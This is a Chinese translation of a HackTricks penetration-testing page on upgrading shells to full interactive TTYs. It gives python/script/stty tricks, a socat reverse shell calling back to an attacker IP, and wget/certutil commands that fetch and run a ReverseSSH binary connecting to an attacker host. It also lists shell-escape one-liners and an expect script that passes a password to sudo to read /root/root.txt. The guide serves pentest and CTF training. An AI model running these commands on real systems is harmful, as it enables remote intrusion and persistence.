hacktricks/generic-methodologies-and-resources/shells/full-ttys.md
2023-08-03 19:12:22 +00:00

7.1 KiB
Raw Blame History

完整的TTY

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

完整的TTY

请注意,你在SHELL变量中设置的shell 必须在_/etc/shells_中列出,否则会显示The value for the SHELL variable was not found in the /etc/shells file This incident has been reported。另外请注意下面的代码片段仅适用于bash。如果你在zsh中请在获取shell之前切换到bash运行bash

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} 您可以执行 stty -a 来获取 行数列数 {% endhint %}

脚本

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

Socat是一个功能强大的网络工具可以在两个连接的数据流之间建立连接。它可以用于创建全功能的TTY终端允许用户在远程主机上执行命令并获取输出。以下是使用socat创建全功能TTY终端的示例

  1. 在攻击者的机器上启动socat监听器
socat file:`tty`,raw,echo=0 tcp-listen:4444
  1. 在目标机器上执行以下命令以连接到攻击者的机器:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker_ip>:4444

这将在目标机器上创建一个全功能TTY终端允许攻击者执行命令并获取输出。

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

生成shell

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

一种方便的方法是将静态链接的ssh服务器ReverseSSH放在目标上以实现交互式shell访问、文件传输和端口转发。

以下是使用upx压缩的x86二进制文件的示例。对于其他二进制文件请查看发布页面

  1. 在本地准备以捕获ssh端口转发请求

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Linux目标
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

{% endcode %}

  • 如果反向SSH端口转发请求成功您现在应该能够使用默认密码letmeinbrudipls登录到运行reverse-ssh(.exe)的用户上下文中:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

没有TTY

如果由于某种原因你无法获得完整的TTY你仍然可以与需要用户输入的程序进行交互。在下面的示例中密码被传递给sudo来读取一个文件:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥